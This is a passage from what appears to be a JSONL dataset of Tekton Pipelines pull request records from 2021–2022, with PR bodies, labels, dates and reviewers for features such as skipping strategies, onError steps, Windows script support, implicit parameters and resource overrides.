`invalidSpec` to `IsCustomTask`.\r\n\r\n\r\n/kind bug\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Release notes block below has been filled in or deleted (only if no user facing changes)\r\n\r\n# Release Notes\r\n\r\n\r\n\r\n```release-note\r\nNONE\r\n```", "created_at": "2021-06-07T08:41:22Z", "deletions": 1, "discovered_via": "tep_file_link", "files_changed": 2, "labels": ["kind/bug", "approved", "lgtm", "size/S", "release-note"], "linked_issues": [], "merged_at": "2021-06-07T18:05:56Z", "pr_number": 4005, "repo": "pipeline", "review_decision": "COMMENTED", "reviewer_logins": ["vdemeester"], "title": "A custom task check could be true, even though the Provided Spec is invalid."} +{"additions": 6, "body": "\r\n\r\n# Changes\r\n\r\n\r\n\r\nTekton expects to find the entrypoint binary in `/ko-app/entrypoint`\r\nwhich is equivalent to `C:\\ko-app\\entrypoint` on Windows. See\r\n`pkg/pod/entrypoint.go:orderContainers()`. Currently entrypoint is\r\nstored in `C:\\ProgramData\\tektoncd\\pipeline\\entrypoint.exe` causing\r\nthis to break on Windows. To avoid the need for platform-specific\r\nlogic in the controller, and for parity with Linux, this change\r\nupdates 'entrypoint' and 'nop' images for Windows to store binaries\r\nin `C:\\ko-app\\`.\r\n\r\n/kind bug\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [ ] [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [ ] [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Release notes block below has been filled in or deleted (only if no user facing changes)\r\n\r\n# Release Notes\r\n\r\n\r\n```release-note\r\nNONE\r\n```", "created_at": "2021-06-09T06:02:44Z", "deletions": 6, "discovered_via": "tep_file_link", "files_changed": 2, "labels": ["kind/bug", "approved", "lgtm", "size/S", "ok-to-test", "release-note"], "linked_issues": [], "merged_at": "2021-06-10T23:09:58Z", "pr_number": 4018, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": [], "title": "Fix Windows image entrypoint paths for parity with Linux"} +{"additions": 1522, "body": "\r\n\r\n# Changes\r\n\r\n\r\n\r\nThis change implements skipping strategies to give users the flexibility\r\nto skip a single guarded Task only and unblock execution of its\r\ndependent Tasks.\r\n\r\nToday, WhenExpressions are specified within Tasks but they guard the\r\nTask and its dependent Tasks. To provide flexible skipping strategies,\r\nwe want to change the scope of WhenExpressions from guarding a Task and\r\nits dependent Tasks to guarding the Task only. If a user wants to guard\r\na Task and its dependent Tasks, they can:\r\n- cascade the WhenExpressions to the dependent Tasks\r\n- compose the Task and its dependent Tasks as a sub-Pipeline that's\r\nguarded and executed together using Pipelines in Pipelines (but this is\r\nstill an experimental feature)\r\n\r\nChanging the scope of WhenExpressions to guard the Task only is\r\nbackwards-incompatible, so to make the transition smooth:\r\n- we'll provide a feature flag, scope-when-expressions-to-task, which:\r\n - will default to false to guard a Task and its dependent Tasks\r\n - can be set to true to guard a Task only\r\n- after migration, we'll change the global default for the feature flag\r\nto true to guard a Task only by default\r\n- eventually, we'll remove the feature flag and guard a Task only going\r\nforward\r\n\r\nImplements [TEP-0059: Skipping Strategies](https://github.com/tektoncd/community/blob/main/teps/0059-skipping-strategies.md)\r\nCloses https://github.com/tektoncd/pipeline/issues/2127\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Release notes block below has been filled in or deleted (only if no user facing changes)\r\n\r\n# Release Notes\r\n\r\n\r\n\r\n```release-note\r\nto guard a `Task` only and unblock execution of its dependent `Tasks`, set the `scope-when-expressions-to-task` feature flag to \"true\"\r\n\r\naction required: `when` expressions guarding a `Task` and its dependent `Tasks` is deprecated and will be removed - migrate by setting `scope-when-expressions-to-task` feature flag to \"true\" and cascade `when` expressions to subsequent `Tasks` if needed\r\n```", "created_at": "2021-07-09T17:05:57Z", "deletions": 162, "discovered_via": "tep_file_link", "files_changed": 15, "labels": ["kind/feature", "approved", "lgtm", "size/XXL", "release-note"], "linked_issues": [], "merged_at": "2021-08-11T14:05:07Z", "pr_number": 4085, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["bobcatfish", "jerop", "pritidesai"], "title": "TEP-0059: Skipping Strategies"} +{"additions": 1482, "body": "\r\n\r\n# Changes\r\n\r\nThis PR implements [TEP-0040](https://github.com/tektoncd/community/blob/main/teps/0040-ignore-step-errors.md) - ignore a step error \ud83d\udece.\r\n\r\nWhen a `step` in a `task` results in a failure, the rest of the steps in the `task` are skipped and the `taskRun` is declared a failure. If you would like to ignore such step errors and continue executing the rest of the steps in the task, you can specify `onError` for such a `step`.\r\n\r\n`onError` can be set to either `continue` or `fail` as part of the step definition. If `onError` is set to `continue`, the entrypoint sets the original failed exit code of the script in the container terminated state. A `step` with `onError` set to `continue` does not fail the `taskRun` and continues executing the rest of the steps in a task.\r\n\r\nFor example,\r\n\r\n```yaml\r\nsteps:\r\n - image: docker.io/library/golang:latest\r\n name: ignore-unit-test-failure\r\n onError: continue\r\n script: |\r\n go test .\r\n```\r\n\r\nThe original failed exit code will be part of the run status:\r\n\r\n```json\r\n \"steps\": [\r\n {\r\n \"container\": \"step-ignore-unit-test-failure\",\r\n \"imageID\": \"...\",\r\n \"name\": \"ignore-unit-test-failure\",\r\n \"terminated\": {\r\n \"containerID\": \"...\",\r\n \"exitCode\": 1,\r\n \"finishedAt\": \"2021-06-21T18:22:05Z\",\r\n \"reason\": \"Completed\",\r\n \"startedAt\": \"2021-06-21T18:22:05Z\"\r\n }\r\n },\r\n ],\r\n```\r\n\r\nAnd will be available in a file `/tekton/steps/0/exitCode`.\r\n\r\nThis is an alpha feature. The `enable-api-fields` feature flag must be set to `\"alpha\"` to specify `onError` for a `step`.\r\n\r\nThis commit includes following changes:\r\n\r\n* Changing entrypoint to include three new flags `on_error`, `step_metadata_dir`, and `step_metadata_dir_link`.\r\n* Adding a new function as part of the runner CreateDirWithSymlink.\r\n* Creating a volume `/tekton/steps/`.\r\n* Supporting a path variable $(steps.step-.exitCode.path) and $(steps.step-unnamed-.exitCode.path).\r\n* API additions - `onError` - while defining a step.\r\n* Writing exitCode at /tekton/steps/step-/exitCode or /tekton/steps/step-unnamed-/exitCode.\r\n* Set the exitCode of a terminated state to a non-zero exit code.\r\n* Doc, unit test, and examples for this feature.\r\n\r\n/kind feature\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Release notes block below has been filled in or deleted (only if no user facing changes)\r\n\r\n# Release Notes\r\n\r\n\r\n```release-note\r\nUse `onError` for a step if you would like to ignore a step error and continue executing the rest of the steps in the task. Set `onError` to `continue` to ignore a step error. When `onError` is set to `continue`, the entrypoint sets the original failed exit code of the script in the container terminated state. A `step` with `onError` set to `continue` does not fail the `taskRun` and continues executing the rest of the steps in a task.\r\n```\r\n", "created_at": "2021-07-20T06:37:36Z", "deletions": 52, "discovered_via": "tep_file_link", "files_changed": 28, "labels": ["kind/feature", "approved", "lgtm", "size/XXL", "release-note"], "linked_issues": [], "merged_at": "2021-08-11T00:23:06Z", "pr_number": 4106, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["pritidesai", "vdemeester"], "title": "TEP-0040 implementation - specifying `onError` in a step "} +{"additions": 910, "body": "\r\n\r\n# Changes\r\n\r\nThis is the implementation of\r\n[TEP-0023](https://github.com/tektoncd/community/blob/main/teps/0023-implicit-mapping.md).\r\n\r\nThis adds information to the defaulting context to allow parameters to\r\nbe passed down the stack during evaluation. This functionality is gated\r\nbehind the alpha feature flag.\r\n\r\nAdditionally, Tasks are now allowed to accept more params than are\r\nactually used. This should generally be safe, since extra params that\r\nare provided should not affect the behavior of the Task itself.\r\n\r\n/kind feature\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Release notes block below has been filled in or deleted (only if no user facing changes)\r\n\r\n# Release Notes\r\n\r\n```release-note\r\n- Tasks can now accept more parameters than are actually used.\r\n- Parameters can now be implicitly propagated to inlined specs (alpha feature flag must be enabled) -\r\n e.g. an inlined Task can access parameters of its parent PipelineRun without\r\n needing to explicitly define each param.\r\n```\r\n\r\n\r\n", "created_at": "2021-07-29T18:58:36Z", "deletions": 38, "discovered_via": "tep_file_link", "files_changed": 18, "labels": ["kind/feature", "approved", "lgtm", "size/XL", "release-note"], "linked_issues": [], "merged_at": "2021-09-15T20:21:24Z", "pr_number": 4127, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["bobcatfish", "pritidesai", "vdemeester", "wlynch"], "title": "Implement implicit parameter resolution."} +{"additions": 591, "body": "\r\n\r\n# Changes\r\n\r\nSteps and sidecars can contain a script field. In Linux tasks these\r\nscripts are copied into files which are made executable and then\r\nsteps are added to the task to execute those files. This commit adds\r\ncomparable functionality if scripts are used in a task which will run\r\non a Windows node.\r\n\r\nOn a Windows node the mechanics are different, due to how Windows\r\nhandles executable files. The key difference is that Tekton needs to\r\nknow that a script will run on Windows, and how to run the file\r\n(which interpreter to use). This is done through a \u2018windows shebang\u2019\r\nline at the start of the script.\r\n\r\nThe line must begin with `#!win`. After that the user needs to provide\r\nthe interpreter to use, as well as any necessary arguments. The line\r\nmust be written such that the name of the file containing the script to\r\nexecute can be appended to the end.\r\n\r\nFor example, to run the script in the file `test.ps1` with powershell,\r\nthe command would usually be `powershell -File test.ps1` and so the\r\nshebang line must be `#!win powershell -File`.\r\n\r\nIf no interpreter is provided (i.e. the shebang line is only \u2018#!win\u2019) then\r\nthe script contents will be stored in a .cmd file and executed.\r\n\r\nFinally, since a pod cannot contain a mix of Windows and Linux\r\ncontainers a windows shell image has been added to the Images\r\nstructure, which will be used in the place-scripts step when needed\r\non a windows node.\r\n\r\nRelated:\r\nIssue [#1826](https://github.com/tektoncd/pipeline/issues/1826)\r\n[TEP-0057](https://github.com/tektoncd/community/blob/main/teps/0057-windows-support.md)\r\n\r\n/kind feature\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [X] [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [X] [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [X] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [X] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [X] Release notes block below has been filled in or deleted (only if no user facing changes)\r\n\r\n# Release Notes\r\n```release-note\r\nAdd script mode support for windows Tasks/Pipelines\r\n```", "created_at": "2021-07-30T05:31:05Z", "deletions": 26, "discovered_via": "tep_file_link", "files_changed": 11, "labels": ["kind/feature", "approved", "lgtm", "size/XL", "ok-to-test", "release-note"], "linked_issues": [], "merged_at": "2021-09-06T00:44:21Z", "pr_number": 4128, "repo": "pipeline", "review_decision": "COMMENTED", "reviewer_logins": ["DrWadsy", "imjasonh"], "title": "Add script mode support to windows tasks"} +{"additions": 236, "body": "\r\n\r\n# Changes\r\n\r\n\r\n\r\nA new markdown file has been added to document Windows usage in Tekton.\r\n\r\nSome examples have been added to demonstrate how to schedule TaskRuns\r\nand PipelineRuns on a Windows node using node selectors and node\r\naffinity constraints.\r\n\r\n/kind documentation\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [ ] [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [ ] Release notes block below has been filled in or deleted (only if no user facing changes)\r\n\r\n# Release Notes\r\n\r\n\r\n\r\n```release-note\r\nNONE\r\n```", "created_at": "2021-08-05T00:08:49Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 5, "labels": ["approved", "lgtm", "size/L", "kind/documentation", "ok-to-test", "release-note"], "linked_issues": [], "merged_at": "2021-08-16T22:44:08Z", "pr_number": 4138, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["vdemeester"], "title": "Add docs and examples for Windows"} +{"additions": 192, "body": "\r\n\r\n# Changes\r\n\r\n\r\n\r\nTwo new tests have been added for Windows TaskRuns for testing\r\nsuccess and failure states.\r\n\r\n/kind misc\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [ ] [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Release notes block below has been filled in or deleted (only if no user facing changes)\r\n\r\n# Release Notes\r\n\r\n\r\n\r\n```release-note\r\nNONE\r\n```", "created_at": "2021-08-05T00:16:02Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 2, "labels": ["approved", "lgtm", "size/L", "ok-to-test", "release-note", "kind/misc"], "linked_issues": [], "merged_at": "2021-08-11T22:20:07Z", "pr_number": 4139, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["dibyom", "imjasonh"], "title": "Add e2e tests for Windows"} +{"additions": 835, "body": "Number of metrics produced can be reduced by controlling the depth or the level using configmap. Available levels are namespace, run pipelinerun/taskrun or pipeline/task. Also, type of metrics can be changed from histogram to prometheus gauge/opencensus last value. Doing this will reduce the load on metrics databases. Implementation of https://github.com/tektoncd/community/pull/466\r\n \r\n\r\n\r\n# Changes\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [ ] [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Release notes block below has been filled in or deleted (only if no user facing changes)\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nMetrics tags/labels type on taskrun/pipelinerun and task/pipeline can be eliminated metrics using configmap. Also, the type of metrics for duration - histogram or gauge/last value, can also be configured.\r\n```\r\n\r\n", "created_at": "2021-08-31T12:22:44Z", "deletions": 186, "discovered_via": "tep_file_link", "files_changed": 19, "labels": ["kind/feature", "approved", "lgtm", "size/XXL", "release-note"], "linked_issues": [], "merged_at": "2021-09-07T07:41:21Z", "pr_number": 4201, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["vdemeester"], "title": "Add Configuration for Metrics Cardinality Simplification"} +{"additions": 153, "body": "This change allow folks to use `.` in parameter names (e.g. `dev.mattmoor.my-param`), and reference them via the subscript operator (e.g. `params[\"dev.mattmoor.my-param\"]`) to avoid ambiguity introduced by the mixing of `.`s.\r\n\r\nTEP: https://github.com/tektoncd/community/pull/503\r\n\r\n/kind enhancement\r\n/hold\r\n\r\nHolding until the TEP is merged.\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [ ] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Release notes block below has been filled in or deleted (only if no user facing changes)\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nParameter and result names may now contain `.` and be referenced via the subscript operator (e.g. `$(params[\"foo.bar\"])`\r\n```\r\n", "created_at": "2021-09-05T21:40:45Z", "deletions": 80, "discovered_via": "tep_file_link", "files_changed": 9, "labels": ["kind/feature", "approved", "lgtm", "size/L", "release-note"], "linked_issues": [], "merged_at": "2021-09-15T09:50:23Z", "pr_number": 4215, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["mattmoor", "vdemeester"], "title": "Allow `.` in param/result names via subscript."} +{"additions": 37, "body": "This change adds single-quote bracket notation to the work done in #4215. This is consistent with how referencing is done elsewhere in K8s in the downwards api.\r\n\r\nThe original patch used the name subscript notation to describe this however the standard name for this approach is bracket notation and updates the doc accordingly.\r\n\r\nThis is based on TEP: tektoncd/community#503 -- which also needs to be aligned with the two bracket notation approaches in the implementation. See https://github.com/tektoncd/community/pull/527\r\n\r\n# Changes\r\n\r\nThis change adds single-quote bracket param matching to the params and param results analagous with the double-quote bracket param matching. It also adds similar test cases and updates the doc with the single-quote syntax. \r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Release notes block below has been filled in or deleted (only if no user facing changes)\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nParams and result can now be referenced with bracket notation using both single and double quotes in addition to dot notation. For example, the following are equivalent: $(param.myparam), $(param['myparam']), and $(param[\"myparam\"]). Bracket notation has the additional benefit of allowing users to work with parameter names containing conflicting characters like \".\" (e.g. $(param['my.param']) or $(param[\"my.param\"]).\r\n```\r\n", "created_at": "2021-09-30T13:30:20Z", "deletions": 9, "discovered_via": "tep_file_link", "files_changed": 8, "labels": ["kind/feature", "approved", "lgtm", "size/M", "release-note"], "linked_issues": [], "merged_at": "2021-10-05T17:32:30Z", "pr_number": 4268, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["pritidesai", "skaegi", "vdemeester"], "title": "Support for single-quote bracket notation for params"} +{"additions": 56, "body": "\r\n\r\n# Changes\r\n1. Add field Retries to RunSpec.\r\n2. Add field RetriesStatus to RunStatusFields\r\n3. Now pipeline task support retries for custom task by copying it to `Retries` of `RunsSpec`.\r\n4. Removed validation that forbade user from configuring retries for a custom task inside a `pipelineSpec`.\r\n\r\n5. Tests included.\r\n6. Documentation, added a developer guide for custom task developer.\r\n\r\n\r\n/kind tep\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Release notes block below has been filled in or deleted (only if no user facing changes)\r\n\r\n# Release Notes\r\n\r\n\r\n\r\n```release-note\r\nA custom task specification can be created with `Retries` as follows:\r\n\r\n \r\n apiVersion: tekton.dev/v1alpha1\r\n kind: Run\r\n metadata:\r\n generateName: simpleexample\r\n spec:\r\n retries: 3 # set retries\r\n params:\r\n - name: searching\r\n value: the purpose of my existence\r\n ref:\r\n apiVersion: custom.tekton.dev/v1alpha1\r\n kind: Example\r\n name: exampleName\r\n\r\n\r\n```", "created_at": "2021-10-21T10:27:42Z", "deletions": 15, "discovered_via": "tep_file_link", "files_changed": 9, "labels": ["approved", "lgtm", "size/M", "release-note", "kind/tep"], "linked_issues": [], "merged_at": "2021-11-10T15:42:42Z", "pr_number": 4327, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["ScrapCodes", "jerop"], "title": "TEP-69, Implementation. Support retry for custom tasks."} +{"additions": 190, "body": "\r\n\r\n# Changes\r\n\r\n\r\n\r\nWhen we [released Tekton Pipelines Beta in March 2020](https://github.com/tektoncd/pipeline/releases/tag/v0.11.0), we [decided not to make `PipelineResources` Beta](https://github.com/tektoncd/pipeline/blob/e76d4132ab2ecfbedc45a964f08a01022e2d4c14/docs/resources.md#why-arent-pipelineresources-in-beta).\r\n\r\nIn [TEP-0074](https://github.com/tektoncd/community/blob/main/teps/0074-deprecate-pipelineresources.md), we decided to officially deprecate `PipelineResources`.\r\n\r\nThis change announces, documents and warns about the deprecation of `PipelineResources`.\r\n\r\nFollow-on work includes:\r\n- Replace `PipelineResources` from the tutorial - https://github.com/tektoncd/pipeline/issues/3705.\r\n- Replace `PipelineResources` from the examples and documentation - https://github.com/tektoncd/pipeline/issues/4375.\r\n- Continue updating the documentation as work progresses on [TEP-0074](https://github.com/tektoncd/community/blob/main/teps/0074-deprecate-pipelineresources.md) and features replacing `PipelineResources` become available.\r\n\r\nCloses https://github.com/tektoncd/pipeline/issues/4344.\r\n\r\n/kind misc\r\n/cc @bobcatfish \r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [n/a] [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Release notes block below has been filled in or deleted (only if no user facing changes)\r\n\r\n# Release Notes\r\n\r\n\r\n\r\n```release-note\r\naction required: `PipelineResources` are deprecated. Consider using replacement features, such as `Tasks`, instead. \r\n```", "created_at": "2021-11-15T22:29:01Z", "deletions": 39, "discovered_via": "tep_file_link", "files_changed": 31, "labels": ["approved", "lgtm", "size/L", "release-note", "kind/misc"], "linked_issues": [], "merged_at": "2021-11-16T22:20:44Z", "pr_number": 4376, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["bobcatfish", "jerop", "vdemeester"], "title": "Deprecate `PipelineResources`"} +{"additions": 110, "body": "\r\n\r\n# Changes\r\n\r\nPreviously we were appling the params to all PipelineTasks, including\r\nrefs. This is incorrect behavior since the parameters should only be\r\npropagated to things within the same document.\r\n\r\nFixes #4483 \r\n\r\n\r\n\r\n/kind bug\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Release notes block below has been filled in or deleted (only if no user facing changes)\r\n\r\n# Release Notes\r\n\r\n\r\n\r\n```release-notes\r\n[alpha only] Fixes bug where implicit params were erroneously passed to TaskRefs within ParamSpecs.\r\n```\r\n", "created_at": "2022-01-13T23:12:47Z", "deletions": 37, "discovered_via": "tep_file_link", "files_changed": 2, "labels": ["kind/bug", "approved", "lgtm", "size/L", "release-note"], "linked_issues": [4483], "merged_at": "2022-01-21T22:02:06Z", "pr_number": 4484, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["vdemeester"], "title": "Implicit params: only propagate params to embedded TaskSpecs in Pipelines."} +{"additions": 112, "body": "\r\n\r\n# Changes\r\nRelated to [TEP-0085](https://github.com/tektoncd/community/blob/main/teps/0085-per-namespace-controller-configuration.md) and [4190](https://github.com/tektoncd/pipeline/issues/4190)\r\n\r\nEnable the controller's feature flags configuration per namespace via a new `feature-flags` configmap in each of the candidate namespaces which are included in a new environment variable.\r\n\r\nIf community is ok with this approach, I will add the test later. \r\n\r\n/kind feature\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [ ] [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [ ] [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Release notes block below has been filled in or deleted (only if no user facing changes)\r\n\r\n# Release Notes\r\n\r\n\r\n```release-note\r\nNONE\r\n```", "created_at": "2022-01-19T19:59:49Z", "deletions": 1, "discovered_via": "tep_file_link", "files_changed": 3, "labels": ["kind/feature", "size/L", "needs-ok-to-test", "release-note", "lifecycle/rotten", "needs-rebase"], "linked_issues": [], "merged_at": null, "pr_number": 4499, "repo": "pipeline", "review_decision": "COMMENTED", "reviewer_logins": [], "title": "feature-flags configuration per namespace"} +{"additions": 658, "body": "# Changes\r\n\r\nThis commit adds TaskRunStepOverrides and TaskRunSidecarOverrides to TaskRun.Spec and\r\nPipelineRun.Spec.PipelineTaskRunSpec, gated behind the \"alpha\" API flag.\r\nThis is part 1 of implementing [TEP-0094: Configuring Resource Requirements at Runtime](https://github.com/tektoncd/community/blob/main/teps/0094-configuring-resources-at-runtime.md).\r\nPart 1 of #4326.\r\n\r\n/kind feature\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Release notes block below has been filled in or deleted (only if no user facing changes)\r\n\r\n# Release Notes\r\n\r\n```release-note\r\n[Feature] Adds API fields for Step and Sidecar Overrides to TaskRun. This feature is not yet implemented.\r\n```\r\n", "created_at": "2022-02-14T22:25:19Z", "deletions": 18, "discovered_via": "tep_file_link", "files_changed": 12, "labels": ["kind/feature", "approved", "lgtm", "size/XL", "release-note"], "linked_issues": [], "merged_at": "2022-02-17T14:19:09Z", "pr_number": 4575, "repo": "pipeline", "review_decision": "COMMENTED", "reviewer_logins": ["afrittoli", "lbernick"], "title": "Add Step and Sidecar Overrides to TaskRun API"} +{"additions": 362, "body": "# Changes\r\nThis implements [TEP-0094: Configuring Resources at Runtime](https://github.com/tektoncd/community/blob/main/teps/0094-configuring-resources-at-runtime.md).\r\nStepOverrides and SidecarOverrides were added to the API in a previous commit.\r\nThis commit allows them to override resource requirements specified in the Task spec.\r\nThe same merging strategy that is currently used for stepTemplate is also used for\r\nstep and sidecar overrides, except that only the resources field of the container is overridden,\r\nand unlike with templates, the overrides take precedence over the Task spec.\r\n\r\nCloses #4326.\r\n\r\nTested E2E locally. Happy to split into separate PRs if this would be helpful.\r\n\r\n/kind feature\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user 